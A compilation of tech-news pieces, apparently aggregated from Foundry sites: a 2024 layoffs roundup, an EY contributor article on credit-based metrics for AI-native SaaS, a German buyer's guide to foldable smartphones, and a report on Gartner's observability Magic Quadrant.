More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

• AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
• Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
• These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

• Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
• Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
• Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
• Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

• Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
• Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
• Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
• AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

• Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
• Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
• Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Thomas Deehan / Foundry

Klassische Smartphones mit starrem Gehäuse bleiben praktisch, doch Foldables spielen in vielen Situationen inzwischen in einer eigenen Liga. Sie bieten ein großes Display zum Aufklappen, passen aber weiterhin in die Tasche – ideal für Multitasking, produktives Arbeiten, Videos, Gaming oder besonders flexible Kamera-Perspektiven.

Auch technisch haben faltbare Smartphones deutlich aufgeholt: Die Scharniere sind robuster, die Gehäuse widerstandsfähiger und die Displays alltagstauglicher als bei den ersten Generationen. Wer heute ein Fold- oder Flip-Smartphone kauft, entscheidet sich nicht mehr nur für ein futuristisches Gadget, sondern für eine ernsthafte Smartphone-Alternative. Diese Übersicht zeigt, welche Modelle sich wirklich lohnen und welches Foldable am besten zu Ihren Anforderungen passt.

Motorola Razr Fold: Bestes faltbares Smartphone

Thomas Deehan / Foundry

Warum wir das Motorola Razr Fold mögen

Das Motorola Razr Fold gehört zu den wenigen Buch-Foldables, die sich auch als Hauptgerät nutzen lassen. Verantwortlich dafür sind die abgerundeten Kanten und die griffigen Materialien, die das Gewicht von 243 Gramm angenehm in der Hand verteilen. Das Scharnier ist sauber gespannt und öffnet sich ohne Mühe. Beide Displays überzeugen: außen ein 6,56-Zoll-pOLED mit 165 Hertz, innen ein 8,09-Zoll-Panel mit 2K-Auflösung und nur dezenter Falte. Laut Hersteller erreichen die Bildschirme Spitzenwerte von über 6.000 Nits. Im Test liefern sie ein scharfes, farbtreues Bild. Das Dreifach-50-Megapixel-Kamerasystem macht in fast allen Situationen ansprechende Fotos mit kräftigem Kontrast und weichem Bokeh. Der 6.000-mAh-Akku bringt Sie durch einen normalen Tag und lädt mit bis zu 80 Watt per Kabel sowie 50 Watt kabellos. Dazu gibt es sieben Jahre Android-Updates und den mitgelieferten Moto Pen Ultra.

Weitere Überlegungen

Leicht ist das Razr Fold nicht: Mit 9,89 Millimetern im geschlossenen Zustand fällt es etwas dicker und schwerer aus als der Samsung-Konkurrent. Der Moto Pen Ultra liegt zwar bei, benötigt aber eine klobige Ladehülle, die niemand gern mitschleppt. Beim Chip setzt Motorola auf den älteren Snapdragon 8 Gen 5, was bei diesem Preis ein Wermutstropfen ist. Hinzu kommen vorinstallierte Drittanbieter-Apps und ein unübersichtliches KI-Angebot.

Lesen Sie unseren Motorola Razr Fold Test

Samsung Galaxy Z Fold 7: Bestes faltbares Galaxy-Smartphone

Thomas Deehan / Foundry

Warum wir das Samsung Galaxy Z Fold 7 mögen

Das Samsung Galaxy Z Fold 7 ist eines der schlanksten Buch-Foldables auf dem Markt. Mit nur 4,2 Millimetern im aufgeklappten Zustand und 215 Gramm fühlt es sich kaum noch wie ein Falt-Smartphone an. Es ist 26 Prozent schlanker als der Vorgänger und wiegt weniger als manches klassische Flaggschiff. Trotzdem sind beide Displays gewachsen: außen 6,5 Zoll im 21:9-Format, innen ein riesiges 8-Zoll-Panel. Beide bieten 120 Hertz und laut Hersteller bis zu 2.600 Nits. Die Falte fällt im Alltag kaum noch auf. Bei den Kameras liegt der größte Sprung beim 200-Megapixel-Hauptsensor des S25 Ultra, der für scharfe, kräftige Fotos sorgt. Das Ultraweitwinkel besitzt nun einen Autofokus und taugt damit auch für Makros. One UI 8 auf Android-16-Basis läuft schnell und zuverlässig. Dazu kommen sieben Jahre Updates und ein breites Galaxy-AI-Angebot. Das Z Fold 7 ist damit das stärkste faltbare Smartphone im Buch-Format.

Weitere Überlegungen

Beim Akku bleibt Samsung beim bekannten 4.400-mAh-Modul, das nur mit 25 Watt per Kabel und 15 Watt kabellos lädt – chinesische Konkurrenten sind hier deutlich weiter voraus. Der S-Pen-Support entfällt komplett, da der Digitizer fehlt. Beim Spielen drosselt das schlanke Gehäuse die Leistung spürbar, im 3DMark-Stresstest sank die Stabilität auf bis zu 22 Prozent. Auch die Displayhelligkeit sinkt bei Wärme früher als bei vielen Rivalen. Der Listenpreis von rund 2.099 Euro bleibt happig.

Lesen Sie unseren Samsung Galaxy Z Fold 7 Test

Samsung Galaxy Z Flip 7: Bestes Klapp-Smartphone

Thomas Deehan / Foundry

Warum wir das Samsung Galaxy Z Flip 7 mögen

Das Samsung Galaxy Z Flip 7 macht den größten Generationssprung seit dem Debüt der Reihe. Das Außendisplay wächst von 3,4 auf 4,1 Zoll, reicht fast bis zum Rand und löst mit 948 × 1.048 Pixeln scharf auf. Mit 120 Hertz und laut Hersteller bis zu 2.600 Nits ist es endlich flaggschiffwürdig. Das Innendisplay legt auf 6,9 Zoll zu und gehört zu den besten, die Sie aktuell finden. Der Falz bleibt im Betrieb unsichtbar. Das schlanke Gehäuse wiegt nur 188 Gramm und klappt komplett flach zusammen, das Aluminium-Scharnier wirkt robust und langlebig. Die 50-Megapixel-Hauptkamera liefert bei gutem Licht saubere, detailreiche Fotos mit gutem Dynamikumfang und eignet sich auch für Selfies. Im Alltag arbeitet der Exynos 2500 mit 12 GB RAM flüssig und bleibt dabei kühl. Dazu kommen One UI 8 auf Android 16, ein breites Galaxy-AI-Angebot und sieben Jahre Updates.

Weitere Überlegungen

Beim Akku bleibt das Z Flip 7 mit 4.300 mAh hinter klassischen Smartphones zurück, die oft über 5.000 mAh bieten. Das Laden mit nur 25 Watt per Kabel ist nicht mehr zeitgemäß; eine volle Ladung dauert über 90 Minuten. Ein Teleobjektiv fehlt weiterhin, der digitale Zoom verliert schon ab zweifacher Vergrößerung sichtbar an Schärfe. Beim Gaming kommt es zu Rucklern und Hitzeentwicklung. Hinzu kommt vorinstallierte Bloatware. Der Listenpreis von 1.199 Euro bleibt happig.

Lesen Sie unseren Samsung Galaxy Z Flip 7 Test

Motorola Razr 60 Ultra: Bestes Design

Thomas Deehan / Foundry

Warum wir das Motorola Razr 60 Ultra mögen

Das Motorola Razr 60 Ultra gilt als das aktuell beste Klapp-Smartphone auf dem Markt. Das beginnt beim Design: Neben weichem Alcantara gibt es eine Rückseite aus Holz, die angenehm griffig wirkt und Schmutz fernhält. Die IP48-Zertifizierung schützt vor Wasser und gröberem Staub, das Aluminium-Scharnier wirkt stabil und langlebig. Beide Displays überzeugen: außen ein 4-Zoll-AMOLED, innen ein 7-Zoll-Panel, beide mit 165 Hertz und LTPO-Technik, die bis auf 1 Hertz heruntertaktet. Laut Hersteller erreichen sie bis zu 4.500 Nits. Im Inneren steckt der Snapdragon 8 Elite mit 16 GB RAM, der für blitzschnelle Abläufe ohne Verzögerung sorgt. Der 4.700-mAh-Akku hielt im PCMark-Test über 14 Stunden durch und lädt mit bis zu 68 Watt per Kabel sowie 30 Watt kabellos. Besonders gelungen ist die freie App-Nutzung auf dem großen Cover-Display, die Motorola besser löst als die Konkurrenz.

Weitere Überlegungen

Ein Teleobjektiv fehlt: Statt des früheren 2-fach-Zooms gibt es nun ein Ultraweitwinkel, jenseits zweifacher Vergrößerung lässt die Qualität spürbar nach. Die Hauptkamera kämpft zudem mit Belichtung und Schatten, sodass Fotos mal über-, mal unterbelichtet geraten. Beim längeren Gaming wird die Rückseite schnell unangenehm heiß. Mit nur drei Jahren OS-Updates und vier Jahren Sicherheits-Patches bleibt der Support kurz.

Lesen Sie unseren Motorola Razr 60 Ultra Pantone Test

Honor Magic V5: Dünnstes Falt-Smartphone

Thomas Deehan / Foundry

Warum wir das Honor Magic V5 mögen

Das Honor Magic V5 zählt zu den stärksten Buch-Foldables auf dem Markt. Es ist extrem schlank: geöffnet misst es laut Hersteller nur 4,1 Millimeter, geschlossen 8,88 Millimeter, bei 217 Gramm. Trotzdem behält Honor anders als Samsung die Stylus-Unterstützung bei. Beide AMOLED-Displays bieten 120 Hertz und LTPO-Technik; das Außendisplay erreicht 1.800 Nits, das Innendisplay 1.300 Nits. Im Inneren arbeitet der Snapdragon 8 Elite in der vollen 8-Kern-Variante mit 16 GB RAM, der sich um weitere 16 GB erweitern lässt. Im Alltag läuft das Gerät flüssig und meistert Multitasking mühelos. Das Kamerasystem aus 50-MP-Hauptsensor, 50-MP-Ultraweitwinkel und 64-MP-Tele liefert detailreiche Fotos. Der 5.820-mAh-Akku hält rund anderthalb Tage und lädt mit bis zu 66 Watt per Kabel sowie 50 Watt kabellos. Dazu gibt es sieben Jahre Updates und eine starke IP58/IP59-Zertifizierung.

Weitere Überlegungen

MagicOS ist Geschmackssache: Die Oberfläche wirkt eigenwillig, und manche Funktionen sind sichtbar von Apple und anderen Herstellern inspiriert. Das Hauptdisplay fällt mit 7,95 Zoll etwas kleiner und randbetonter aus als bei der Konkurrenz. Bei wenig Licht geraten Fotos schnell zu dunkel und detailarm. Die Stereo-Lautsprecher klingen flach und basslos. Der Honor-Support hierzulande gilt als durchwachsen, und der Listenpreis von 1.999 Euro bleibt happig.

Lesen Sie unseren Honor Magic V5 Test

Google Pixel 10 Pro Fold: Beste Software

Thomas Deehan / Foundry

Warum wir das Google Pixel 10 Pro Fold mögen

Das Google Pixel 10 Pro Fold bringt einige sinnvolle Verbesserungen mit. Als erstes faltbares Smartphone überhaupt erhält es eine IP68-Zertifizierung gegen Staub und Wasser, was es im Außeneinsatz besonders robust macht. Das schon zuvor starke Scharnier wurde weiter verbessert und zählt zu den besten am Markt. Neu sind integrierte Pixelsnap-Magnete, mit denen Sie Qi2-, Magsafe- oder Pixelsnap-Zubehör auch ohne Hülle nutzen. Beide OLED-Displays leuchten heller und erreichen nun 3.000 Nits; das Innendisplay misst 8 Zoll und gehört zu den größten seiner Klasse. Im Inneren arbeitet der Tensor G5, der gegenüber dem Vorgänger spürbar zulegt und genug Leistung für den Alltag liefert. Der 5.015-mAh-Akku hielt im PCMark-Test gut 13 Stunden durch und lädt mit 30 Watt per Kabel sowie 15 Watt kabellos. Dazu gibt es ein reines Android 16, viele Gemini-Funktionen und sieben Jahre Updates.

Weitere Überlegungen

Im Vergleich zur Konkurrenz wirkt das Pixel altbacken: Das Design ist eher klobig und schwer, die Ränder gehören zu den dicksten unter den aktuellen Flaggschiff-Foldables. Die Falz fällt deutlicher auf als bei Samsung und Honor. Beim Tempo bleibt der Tensor G5 hinter Snapdragon-Geräten zurück, anspruchsvolle Spiele laufen weniger konstant. Die Kameras setzen weiterhin auf betagte 10-Megapixel-Sensoren.

Lesen Sie unseren Google Pixel 10 Pro Fold Test

Motorola Razr 60: Bestes Preis-Leistungs-Verhältnis

Thomas Deehan / Foundry

Warum wir das Motorola Razr 60 mögen

Das Motorola Razr 60 ist ein solides kompaktes Flip-Phone zu einem fairen Preis. Das Design wirkt mit den abgerundeten Kanten und der Rückseite aus veganem Leder wärmer und griffiger als beim Samsung-Konkurrenten, zudem lässt es sich leichter aufklappen. Neu ist die verbesserte IP48-Zertifizierung, die zusätzlichen Staubschutz bringt; der Wasserschutz reicht bis 1,5 Meter Tiefe. Beide Displays fallen größer aus als beim Galaxy Z Flip 7 FE: Das 6,9-Zoll-Hauptdisplay bietet 120 Hertz und laut Hersteller bis zu 3.000 Nits, das 3,6-Zoll-Außendisplay umfasst die Kamera. Besonders gelungen ist die durchdachte Cover-Display-Oberfläche, auf der sich viele Apps nutzen lassen. Der größere 4.500-mAh-Akku bringt Sie durch den Tag und lädt mit 30 Watt per Kabel sowie 15 Watt kabellos. Der seitliche Fingerabdrucksensor reagiert zuverlässig, und der Speicher fällt mit 256 GB großzügig aus.

Weitere Überlegungen

Beim Tempo bleibt das Razr 60 zurück: Der Mediatek Dimensity 7400X gleicht fast dem Vorgänger-Chip, zusammen mit nur 8 GB RAM kommt es immer wieder zu kleinen Verzögerungen. Die Kameras überzeugen nicht, vor allem bei wenig Licht wirken Fotos trüb und detailarm. Gegenüber dem Razr 50 gibt es kaum Fortschritte. Mit nur drei Android-Updates und vier Jahren Sicherheits-Patches bleibt der Support kurz. Der Listenpreis von 699 Euro ist fair.

Lesen Sie unseren Motorola Razr 60 Test

Samsung Galaxy Z Flip 7 FE: Preis-Tipp

Thomas Deehan / Foundry

Warum wir das Samsung Galaxy Z Flip 7 FE mögen

Das Samsung Galaxy Z Flip 7 FE ist ein solides Klapp-Smartphone mit nostalgischem Charme zu einem niedrigeren Preis. Das Design entspricht dem Galaxy Z Flip 6 und wirkt mit den flachen Aluminiumkanten und Gorilla Glass Victus 2 hochwertig; die IP48-Zertifizierung hält Wasser und Staub fern. Das 6,7-Zoll-AMOLED-Hauptdisplay passt die Bildwiederholrate zwischen 1 und 120 Hertz an und überzeugt mit kräftigen Farben und tiefen Schwarztönen. Bei der Kamera macht die FE keine Abstriche zum Flaggschiff: Der 50-Megapixel-Hauptsensor liefert in vielen Situationen sehr gute Fotos, und Selfies gelingen über das Cover-Display besonders einfach. Im Alltag arbeitet der Exynos 2400 mit 8 GB RAM flüssig, Apps starten zügig. Dazu kommen One UI 8 auf Android 16, ein breites Galaxy-AI-Angebot und sieben Jahre Updates. Aufgeklappt liegt das Gerät dank stabilem Scharnier flach auf dem Tisch.

Weitere Überlegungen

Beim Akku bleibt die FE mit 4.000 mAh am unteren Ende der Flip-Klasse; die Laufzeit reicht meist nur knapp durch den Tag. Das Laden mit nur 25 Watt per Kabel ist langsam, eine volle Ladung dauert über anderthalb Stunden. Das Cover-Display fällt mit 3,4 Zoll kleiner und altmodischer aus als bei der Konkurrenz, und das Freischalten von Apps darauf ist umständlich. Der Speicher startet bei knappen 128 GB. Die UVP von rund 939 Euro ist ambitioniert.

Lesen Sie unseren Samsung Galaxy Z Flip 7 FE Test

Nubia Flip 5G: Spar-Tipp

Thomas Deehan / Foundry

Warum wir das Nubia Flip 5G mögen

Das Nubia Flip 5G ist eines der günstigsten Klapp-Smartphones überhaupt und kostet deutlich weniger als ein Razr oder ein Galaxy Z Flip. Sein Design hebt sich durch das runde, von einer Schallplatte inspirierte Außendisplay klar von der Konkurrenz ab. Das Gerät besteht aus geätztem Glas mit Aluminiumrahmen, liegt griffig in der Hand und überstand im Test mehrere Stürze ohne Kratzer. Das 6,9-Zoll-AMOLED-Hauptdisplay löst in Full HD+ auf und bietet bis zu 120 Hertz. Im Inneren arbeitet der Snapdragon 7 Gen 1 mit bis zu 12 GB RAM, der für Alltagsaufgaben und App-Wechsel ausreicht. Die Stereo-Lautsprecher klingen überraschend kräftig und klar. Der 4.310-mAh-Akku hält rund anderthalb Tage und treibt dabei zwei Displays an. Ein passendes 33-Watt-Ladegerät liegt bei und bringt das Gerät in einer halben Stunde auf 76 Prozent. Dazu gibt es Dual-SIM, Wi-Fi 6E und 5G.

Weitere Überlegungen

Bei der Software hakt es: MyOS 13 basiert noch auf Android 13 und bringt viel Bloatware mit, von der sich nicht alles entfernen lässt. Garantierte Update-Zusagen fehlen, was die Langzeitnutzung unsicher macht. Die Kameras liefern nur durchwachsene Ergebnisse, vor allem bei wenig Licht und ohne optischen Zoom. Das Hauptdisplay ist nur durch Kunststoff geschützt, und in der Sonne wird es schnell zu dunkel. Eine IP-Zertifizierung fehlt ganz.

Lesen Sie unseren Nubia Flip 5G Test

Welches Foldable passt zu Ihnen?

Beim Kauf eines Foldables kommt es nicht nur auf Prozessor, Kamera und Akkulaufzeit an. Entscheidend ist vor allem die Bauform, denn sie bestimmt, wie sich das Gerät im Alltag anfühlt. Grundsätzlich haben sich mehrere Konzepte etabliert. Flip-Phones lassen sich wie ein klassisches Klapphandy zusammenfalten und passen besonders gut in die Hosentasche. Sie eignen sich für alle, die ein kompaktes Smartphone suchen, aber trotzdem moderne Technik, gute Kameras und ein flexibles Display nutzen möchten. Praktisch ist der Klappmechanismus vor allem für Selfies, Gruppenfotos und Videos, weil das halb geöffnete Gerät wie ein kleiner Ständer funktioniert.

Foldables im Buchformat verfolgen einen anderen Ansatz. Sie sind geschlossen fast wie ein normales Smartphone nutzbar, öffnen sich aber zu einem deutlich größeren Display. Das lohnt sich vor allem für Multitasking, Office-Apps, E-Mails, Dokumente, Karten, Chats und Web-Recherche. Wer häufig zwei Apps parallel nutzt oder unterwegs produktiver arbeiten möchte, profitiert hier am meisten. Breitere Foldables sind dagegen stärker auf Unterhaltung ausgelegt: Videos, Spiele, Fotos und Webseiten wirken auf dem aufgeklappten Display natürlicher und weniger schmal.

Noch spezieller sind Trifold-Modelle mit drei Display-Segmenten. Sie bieten besonders viel Bildschirmfläche, sind aber derzeit noch teuer, selten und eher eine Technikvorschau als eine Massenlösung. Für die meisten Käufer bleibt daher die Wahl zwischen Flip-Phone und Foldable im Buchformat. Wer ein möglichst kompaktes Gerät sucht, greift zum Flip. Wer ein Smartphone mit Tablet-Gefühl möchte, ist beim großen Fold besser aufgehoben. Unsere Kaufberatung zeigt, welche Modelle 2026 überzeugen – und welches Foldable zu welchem Nutzertyp passt.

FAQ: Die wichtigsten Fragen zu Foldables

1. Was ist der Unterschied zwischen einem Fold und einem Flip Phone?

Ein Flip Phone lässt sich vertikal zusammenklappen und wird dadurch besonders kompakt. Es eignet sich vor allem für Nutzer, die ein handliches Smartphone suchen und trotzdem moderne Funktionen nutzen möchten. Ein Fold öffnet sich dagegen seitlich wie ein Buch und bietet innen ein deutlich größeres Display. Das ist vor allem für Multitasking, produktives Arbeiten, Lesen, Videos und Spiele interessant.

2. Für wen lohnt sich ein Foldable?

Ein Foldable lohnt sich vor allem für Nutzer, die mehr Bildschirmfläche möchten, aber kein separates Tablet mitnehmen wollen. Flip-Phones sind sinnvoll, wenn das Smartphone möglichst klein in die Tasche passen soll. Große Foldables lohnen sich für alle, die häufig mehrere Apps parallel nutzen, unterwegs arbeiten, viel lesen oder Medien auf einem größeren Display genießen möchten.

3. Sind Foldables heute robust genug für den Alltag?

Aktuelle Foldables sind deutlich stabiler als die ersten Generationen. Scharniere, Rahmen und Displays wurden verbessert, viele Modelle bieten zudem Schutz gegen Wasser oder Staub. Trotzdem bleiben faltbare Displays empfindlicher als starre Glasflächen. Eine gute Hülle, vorsichtiger Umgang mit Sand und Staub sowie ein Blick auf die Schutzklasse des jeweiligen Modells sind daher wichtig.

4. Welche Nachteile haben faltbare Smartphones?

Foldables sind meist teurer als klassische Smartphones mit vergleichbarer Ausstattung. Dazu kommen ein höheres Gewicht, sichtbare Bildschirmfalten und je nach Modell Kompromisse bei Kamera, Akkulaufzeit oder Gehäusedicke. Auch Reparaturen können teurer ausfallen. Vor dem Kauf sollte deshalb klar sein, ob die größere Displayfläche den Aufpreis im Alltag wirklich rechtfertigt.

5. Worauf sollte man beim Kauf eines Foldables achten?

Wichtig sind Bauform, Displaygröße, Außendisplay, Scharnierqualität, Akkulaufzeit, Kamera, Software-Anpassungen und Update-Versprechen. Bei großen Foldables zählt besonders, wie gut Multitasking und App-Anpassung funktionieren. Bei Flip-Phones ist das Außendisplay entscheidend: Je größer und vielseitiger es ist, desto häufiger lässt sich das Gerät nutzen, ohne es aufzuklappen.

Wie wir testen

Wir bewerten faltbare Smartphones nicht nur nach Datenblatt, sondern vor allem im Alltag. Entscheidend sind Displayqualität, Scharniermechanik, Verarbeitung, Leistung, Akkulaufzeit, Kameraqualität und Software-Anpassungen für den großen Innenbildschirm.

(PC-Welt)

Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.

Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest Magic Quadrant for Observability Platforms.

Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.

There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)

Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.

AI observability emerges as a key differentiator

Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies AI observability as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.

The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality.

“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.

Cost management becomes a top priority

While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.

As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.

Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.

Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.

OpenTelemetry is table stakes as consolidation continues

The growing impact of open standards is a major shift for observability, Gartner notes.

The widespread adoption of OpenTelemetry and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.

As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.

